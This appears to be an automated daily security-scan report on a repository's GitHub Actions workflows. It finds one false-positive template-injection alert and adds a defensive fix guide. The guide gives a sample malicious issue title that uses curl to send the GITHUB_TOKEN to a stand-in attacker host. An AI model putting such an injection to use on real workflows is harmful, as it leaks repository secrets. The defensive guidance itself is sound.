Detailed Findings

Zizmor Security Findings

Issue Type	Severity	Count	Affected Workflows
template-injection	Low	1	mcp-inspector

Template Injection (False Positive)

Finding Details:

• Workflow: mcp-inspector.md
• Location: .github/workflows/mcp-inspector.lock.yml:1138:9
• Severity: Low
• Description: Potential code injection via template expansion

Analysis:
This is a confirmed false positive. Zizmor flagged the step name at line 1138:

- name: Setup MCPs

The step name "Setup MCPs" is a static string with no template expansion (${{ }}) or user-controlled input. The actual template expressions in this step use only trusted sources:

env:
  GITHUB_MCP_SERVER_TOKEN: ${{ secrets.GH_AW_GITHUB_TOKEN || secrets.GITHUB_TOKEN }}
  GH_AW_SAFE_OUTPUTS: ${{ env.GH_AW_SAFE_OUTPUTS }}

These expressions reference secrets and environment variables, which are trusted sources that cannot be manipulated by external actors.

Verdict: No action required - false positive

Poutine Supply Chain Findings

Result: ✅ No issues detected

Poutine scanned all workflows for supply chain security vulnerabilities including:

• Unpinned actions
• Dangerous workflow patterns
• Secrets exposure risks
• Third-party action vulnerabilities

All 25 workflows passed supply chain security checks.

Actionlint Code Quality Findings

Result: ✅ No issues detected

Actionlint validated all workflows for:

• YAML syntax errors
• Invalid GitHub Actions syntax
• Type mismatches
• Deprecated features
• Best practice violations

All 25 workflows conform to GitHub Actions best practices.

Network Firewall Status

5 Claude-based workflows specify network restrictions but currently receive warnings because the Claude engine doesn't yet support network firewalling:

• audit-workflows
• daily-doc-updater
• copilot-agent-analysis
• developer-docs-consolidator
• instructions-janitor

Note: This is a platform limitation, not a security vulnerability. These workflows will benefit from network sandboxing once Claude engine adds firewall support.

Historical Trends

Comparing with the previous scan on 2025-11-16:

Metric	2025-11-16	2025-11-17	Change
Total Findings	1	1	→ No change
Critical/High	0	0	✅ Stable
Medium	0	0	✅ Stable
Low	1	1	→ Stable (same false positive)
Clean Workflows	80/81 (99%)	24/25 (96%)	✅ Excellent

Trend Analysis

Consistent Security Posture: The repository maintains an excellent security baseline with:

• Zero real security vulnerabilities for 2+ consecutive days
• No supply chain security issues
• No code quality regressions
• Stable false positive rate (1 known false positive)

Key Success Factors:

1. ✅ Safe template usage patterns across all workflows
2. ✅ Proper secret management with GitHub Secrets
3. ✅ No pinned actions vulnerabilities
4. ✅ Clean actionlint compliance
5. ✅ Strong workflow design patterns

Fix Suggestion: Template Injection (General Guidance)

While our repository has no actual template injection vulnerabilities, here's a fix template for future reference if such issues arise:

Template Injection Fix Guide

Understanding the Issue

Template injection occurs when user-controlled data flows into GitHub Actions expressions (${{ }}) without sanitization. This can enable code injection attacks via:

• Issue titles/bodies
• PR descriptions/comments
• Commit messages
• Branch names

Vulnerable Pattern Example

# VULNERABLE - Don't do this
- name: Process issue
  run: echo "Issue title: ${{ github.event.issue.title }}"

Why it's dangerous: An attacker could create an issue with title: ``; curl attacker.com?secret=${{ secrets.GITHUB_TOKEN }}` to steal secrets.

Secure Pattern (Solution)

# SECURE - Always do this
- name: Process issue
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "Issue title: $ISSUE_TITLE"

Why it's safe: Environment variables are treated as literal strings and aren't evaluated as code.

Step-by-Step Fix Process

1. Identify vulnerable expressions: Search for ${{ github.event.* }} in run: blocks
2. Check data sources: Verify if data comes from untrusted sources (issues, PRs, commits)
3. Refactor to environment variables:

   env:
     USER_INPUT: ${{ github.event.issue.title }}
   run: |
     # Use $USER_INPUT as a shell variable
     echo "Input: $USER_INPUT"

4. Use static step names: Avoid dynamic step names with user input
5. Test thoroughly: Ensure functionality is preserved

Quick Reference

Source	Risk Level	Mitigation
github.event.issue.*	⚠️ High	Use env vars
github.event.pull_request.*	⚠️ High	Use env vars
github.event.comment.*	⚠️ High	Use env vars
github.event.head_commit.*	⚠️ High	Use env vars
secrets.*	✅ Safe	Can use directly
env.*	✅ Safe	Can use directly
github.repository	✅ Safe	Can use directly

Recommendations

Immediate Actions

✅ None required - No actionable vulnerabilities detected

Short-term (Nice to Have)

1. 📝 Document the false positive: Consider adding a suppression comment or annotation for the zizmor false positive in mcp-inspector.md
2. 🔍 Monitor firewall support: Track when Claude engine adds network firewall support to enable sandboxing for restricted workflows

Long-term (Preventive)

1. ✅ Continue daily scans: Maintain current scanning schedule
2. 📚 Update workflow templates: Ensure new workflows follow secure patterns
3. 🎓 Team training: Share template injection fix guide with workflow authors
4. 🤖 Consider pre-commit hooks: Add static analysis tools to local development

Next Steps

• Store scan results in cache memory for historical tracking
• Update vulnerability database with latest findings
• Generate comprehensive analysis report
• Continue monitoring with automated daily scans
• Review findings in next scheduled security sync

Conclusion

The gh-aw repository demonstrates excellent security hygiene with zero real vulnerabilities across all scanned workflows. The only finding is a confirmed false positive that requires no remediation. This represents best-in-class security posture for an agentic workflow system.

Security Grade: 🟢 A+ (Excellent)
